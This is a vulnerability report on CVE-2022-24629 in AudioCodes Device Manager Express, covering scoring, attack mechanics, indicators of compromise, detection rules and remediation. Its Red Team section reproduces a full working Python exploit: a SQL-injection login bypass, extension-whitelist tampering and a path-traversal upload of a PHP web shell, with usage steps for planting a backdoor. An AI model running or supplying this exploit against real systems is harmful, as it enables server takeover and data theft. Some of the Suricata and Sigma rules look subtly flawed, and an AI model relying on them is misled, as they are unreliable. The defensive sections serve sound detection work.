CVE-2022-24629

Executive Summary

CVE-2022-24629 is a critical unauthenticated remote code execution (RCE) vulnerability affecting AudioCodes Device Manager Express versions up to and including 7.8.20002.47752. The vulnerability resides in the file upload functionality of BrowseFiles.php, specifically in the dir parameter. An attacker can exploit a directory traversal flaw to upload a malicious .php file to an arbitrary location on the server, leading to full system compromise. The exploit is publicly available and weaponized, with a complete chain that includes SQL injection authentication bypass (CVE-2022-24627) and extension whitelist manipulation. The product has reached End-of-Life (EOL), meaning no official patches will be released. This vulnerability is part of a chain of four CVEs (CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24632) that together allow complete takeover of the device manager.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary commercial product. The supply chain risk is that organizations using this EOL product cannot obtain a patch and must rely on compensating controls or migration.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The exploit is trivial, requires no authentication, and provides full remote code execution as the web server user (typically SYSTEM on Windows). The public availability of a full exploit chain (including SQL injection bypass) makes this a high-priority target for ransomware groups and botnets.

Deep Dive & Mechanics

The vulnerability is a combination of two weaknesses in BrowseFiles.php:

1. Directory Traversal (CVE-2022-24629): The dir parameter in the file upload POST request is not sanitized. An attacker can supply a path like C:/audiocodes/express/WebAdmin/region/ to upload a file outside the intended upload directory.
2. Extension Whitelist Bypass (CVE-2022-24630): The application maintains a whitelist of allowed file extensions (.cab, .cfg, .csv, .id, .img, .zip). However, the exploit uses ajaxGlobalSettings.php to dynamically add .php to this whitelist before uploading the malicious file, and then removes it after upload to avoid detection.

Attack Flow:

1. Authentication Bypass (CVE-2022-24627): The attacker sends a SQL injection payload ('or 1=1#) in the p parameter of process_login.php to bypass authentication and obtain a valid session.
2. Extension Whitelist Manipulation (CVE-2022-24630): Using the authenticated session, the attacker sends a POST request to ajaxGlobalSettings.php with action=saveext and extensions=.cab,.cfg,.csv,.id,.img,.php,.zip to add .php to the allowed list.
3. File Upload with Directory Traversal (CVE-2022-24629): The attacker sends a multipart POST request to BrowseFiles.php with:
   • dir=C:/audiocodes/express/WebAdmin/region/ (traversal to web root)
   • myfile containing a PHP web shell
4. Cleanup: The attacker removes .php from the whitelist to hide the intrusion.
5. Execution: The attacker accesses the uploaded shell at http://target/region/shell.php?cmd=dir.

Vulnerable vs. Patched Code

Since the product is EOL and no patch exists, there is no "patched" code to compare. The vulnerable code in BrowseFiles.php likely resembles:

// Vulnerable code (conceptual)
$upload_dir = $_POST['dir']; // No sanitization
$target_file = $upload_dir . basename($_FILES["myfile"]["name"]);
move_uploaded_file($_FILES["myfile"]["tmp_name"], $target_file);

A patched version would:

• Validate the dir parameter against a whitelist of allowed paths.
• Use realpath() to resolve the path and ensure it stays within the intended upload directory.
• Not allow dynamic modification of the extension whitelist via an unauthenticated or low-privilege endpoint.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3
• requests and colorama libraries (pip install requests colorama)
• Target running AudioCodes Device Manager Express <= 7.8.20002.47752

Full Exploit Code (from Exploit-DB):

#!/usr/bin/python3

import requests
import sys
import time
import re
import colorama
from colorama import Fore, Style
import uuid

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

def menu():
   print('-----------------------------------------------------------------------\n'
         'AudioCodes Device Manager Express                 45 78 70 6C 6F 69 74 \n'
         '-----------------------------------------------------------------------')

def optionlist(s,target):
  try:
   print('\nOptions: (Press any other key to quit)\n'
         '-----------------------------------------------------------------------\n'
         '1: Upload arbitrary file\n'
         '2: Download arbitrary file\n'
         '3: Execute command\n'
         '4: Add backdoor\n'
         '-----------------------------------------------------------------------')
   option = int(input('Select: '))
   if(option == 1):
     t = 'a'
     upload_file(s,target,t)
   elif(option == 2):
     download_file(s,target)
   elif(option == 3):
     execute(s,target)
   elif(option == 4):
     t = 'b'
     upload_file(s,target,t)
  except:
     sys.exit()


def bypass_auth(target):
   try:
      print(f'\nTrying to bypass authentication..\n')
      url = f'http://{target}/admin/AudioCodes_files/process_login.php'
      s = requests.Session()
      # CVE-2022-24627
      payload_list = ['\'or 1=1#','\\\'or 1=1#','admin']
      for payload in payload_list:
         body = {'username':'admin','password':'','domain':'','p':payload}
         r = s.post(url, data = body)
      if('Configuration' in r.text):
         print(f'{Fore.GREEN}(+) Authenticated as Administrator on: {target}{Style.RESET_ALL}')
         time.sleep(1)
         return(s)
      else:
         print(f'{Fore.RED}(-) Computer says no, can\'t login, try again..{Style.RESET_ALL}')
         main()
   except:
      sys.exit()

def upload_file(s,target,t):
   try:
     url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?type='
     param = uuid.uuid4().hex
     file = input('\nEnter file name: ')
     # read extension
     ext = file.rsplit( ".", 1 )[ 1 ]
     if (t=='b'):
        # remove extension
        file = file.rsplit( ".", 1 )[ 0 ] + '.php'
        ext = 'php'
     patch = '1'
     if(file != ''):
       if(patch_ext(s,target,patch,ext)):
          # CVE-2022-24629
          print(f'{Fore.GREEN}(+) Success{Style.RESET_ALL}')
          if(t=='a'):
            dest = input('\nEnter destination location (ex. c:\): ')
            print(f'\nUploading file to {target}: {dest}{file}')
            files = {'myfile': (file, open(file,'rb'), 'text/html')}
            body = {'dir': f'{dest}', 'type': '', 'Submit': 'Upload'}
            r = s.post(url, files=files, data=body)
            print(f'{Fore.GREEN}(+) Done{Style.RESET_ALL}')
          if(t=='b'):
            shell = f'<?php echo shell_exec($_GET[\'{param}\']); ?>'
            files = {f'myfile': (file, shell, 'text/html')}
            body = {'dir': 'C:/audiocodes/express/WebAdmin/region/', 'type': '', 'Submit': 'Upload'}
            r = s.post(url, files=files, data=body)
            print(f'\nBackdoor location:')
            print(f'{Fore.GREEN}(+) http://{target}/region/{file}?{param}=dir{Style.RESET_ALL}')
          patch = '2'
          time.sleep(1)
          patch_ext(s,target,patch,ext)
       else:
          print(f'{Fore.RED}(-) Could not whitelist extension {ext}.. Try something else\n{Style.RESET_ALL}')
   except:
       print(f'{Fore.RED}(-) Computer says no..{Style.RESET_ALL}')
       patch = '2'
       patch_ext(s,target,patch,ext)

def download_file(s,target):
   # CVE-2022-24632
   try:
     file = input('\nFull path to file, eg. c:\\windows\win.ini: ')
     if(file != ''):
         url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?view={file}'
         r = s.get(url)
         if (len(r.content) > 0):
           print(f'{Fore.GREEN}\n(+) File {file} downloaded\n{Style.RESET_ALL}')
           file = str(file).split('\\')[-1:][0]
           open(file, 'wb').write(r.content)
         else:
           print(f'{Fore.RED}\n(-) File not found..\n{Style.RESET_ALL}')
     else:
       print(f'{Fore.RED}\n(-) Computer says no..\n{Style.RESET_ALL}')
   except:
      sys.exit()

def execute(s,target):
   try:
     while True:
      # CVE-2022-24631
      command = input('\nEnter a command: ')
      if(command == ''):
        optionlist(s,target)
        break
      print(f'{Fore.GREEN}(+) Executing: {command}{Style.RESET_ALL}')
      body = 'ssh_command='+ command
      url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?cmd=ssh'
      r = s.post(url, data = body, headers=headers)
      print('-----------------------------------------------------------------------')
      time.sleep(1)
      print((", ".join(re.findall(r'</form>(.+?)</section>',str(r.content)))).replace('\\r\\n', '').replace('</div>', '').replace('<div>', '').replace('</DIV>', '').replace('<DIV>', '').replace('<br/>', '').lstrip())
      print('-----------------------------------------------------------------------')
   except:
      sys.exit()

def patch_ext(s,target,opt,ext):
   try:
     if(opt == '1'):
       print('\nTrying to add extension to whitelist..')
       body = {'action':'saveext','extensions':f'.cab,.cfg,.csv,.id,.img,.{ext},.zip'}
     if(opt == '2'):
       print('\nCleaning up..')
       body = {'action':'saveext','extensions':'.cab,.cfg,.csv,.id,.img,.zip'}
       print(f'{Fore.GREEN}(+) {ext.upper()} extension removed\n{Style.RESET_ALL}')
     url = f'http://{target}/admin/AudioCodes_files/ajax/ajaxGlobalSettings.php'
     r = s.post(url, data = body, headers=headers)
     time.sleep(1)
     if(f'{ext}' in r.text):
        return True
   except:
      sys.exit()

def main():
   if len(sys.argv) != 2:
      print(' Usage: ' + sys.argv[0] + ' <target IP>')
      print(' Example: ' + sys.argv[0] + ' 172.16.86.154')
      sys.exit(1)

   target = sys.argv[1]
   menu()
   s = bypass_auth(target)
   if(s):
     optionlist(s,target)

if __name__ == '__main__':
    main()

Usage:

1. Save the script as exploit.py.
2. Run: python3 exploit.py <target_ip>
3. Select option 4 (Add backdoor) to automatically upload a web shell.
4. Access the shell at http://<target_ip>/region/<filename>.php?<uuid>=command.

Blue Team (Defensive)

Lab Setup:

• Deploy a vulnerable instance of AudioCodes Device Manager Express 7.8.20002.47752 in an isolated VM.
• Install a WAF (e.g., ModSecurity) in front of the application.
• Enable detailed IIS logging (if on Windows) or Apache logging.

Detection Steps:

1. Monitor for SQL injection attempts in process_login.php:
   • Look for 'or 1=1# or \'or 1=1# in the p parameter.
2. Monitor for extension whitelist changes in ajaxGlobalSettings.php:
   • Look for POST requests with action=saveext and extensions containing .php.
3. Monitor for file uploads to BrowseFiles.php with suspicious dir parameters:
   • Look for dir values containing .. or absolute paths like C:/.
4. Monitor for new .php files in the region/ directory or other web-accessible directories.

Indicators of Compromise (IOCs)

Network IOCs

• Source IPs: Any IP performing the exploit chain.
• URLs:
  • POST /admin/AudioCodes_files/process_login.php with p='or 1=1#
  • POST /admin/AudioCodes_files/ajax/ajaxGlobalSettings.php with action=saveext&extensions=.cab,.cfg,.csv,.id,.img,.php,.zip
  • POST /admin/AudioCodes_files/BrowseFiles.php?type= with multipart file upload and dir=C:/audiocodes/express/WebAdmin/region/
• User-Agent: Default Python requests library (e.g., python-requests/2.28.0).

File System IOCs

• Web Shells: Any .php file in C:/audiocodes/express/WebAdmin/region/ that is not part of the original installation.
• Log Files: Entries in IIS logs showing the above URLs.

Registry IOCs (Windows)

• N/A for this web-based exploit.

Detection Engineering

YARA Rule

rule AudioCodes_WebShell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2022-24629"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-24629"
    strings:
        $php_tag = "<?php"
        $shell_exec = "shell_exec" nocase
        $get_param = "$_GET" nocase
        $system_call = "system(" nocase
    condition:
        $php_tag and ($shell_exec or $get_param or $system_call)
}

Sigma Rule

title: AudioCodes Device Manager Express RCE via File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects the exploitation of CVE-2022-24629 by monitoring for file uploads with directory traversal
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/AudioCodes_files/BrowseFiles.php'
        cs-uri-query: 'type='
        cs-referer: '*'
    filter:
        cs-uri-stem: '/admin/AudioCodes_files/BrowseFiles.php'
        cs-uri-query: 'type='
        cs-referer: '*/admin/*'
    condition: selection and not filter
falsepositives:
    - Legitimate administrative file uploads (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-24629 AudioCodes Device Manager Express RCE File Upload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/AudioCodes_files/BrowseFiles.php"; http_uri;
    content:"dir="; http_client_body;
    pcre:"/dir=[A-Za-z]:\//i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate or decommission all instances of AudioCodes Device Manager Express. The product is EOL and will not receive patches.
2. If decommissioning is not possible, implement strict network segmentation:
   • Place the device manager behind a firewall that only allows access from trusted management IPs.
   • Block all inbound HTTP/HTTPS traffic from the internet to the device manager.
3. Apply virtual patching using a WAF:
   • Block POST requests to /admin/AudioCodes_files/BrowseFiles.php with a dir parameter containing .. or absolute paths.
   • Block POST requests to /admin/AudioCodes_files/ajax/ajaxGlobalSettings.php with action=saveext.
   • Block SQL injection patterns in process_login.php.

Long-Term Remediation:

1. Migrate to a supported alternative for managing AudioCodes devices.
2. Conduct a forensic investigation to determine if the vulnerability was exploited. Check for:
   • Unknown .php files in web directories.
   • Unusual outbound connections from the device manager server.
   • New user accounts or scheduled tasks.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For questions or further analysis, contact cti@valtersit.com.

{/* [Security Hash: FE2F6F842515424C77931BF5] */}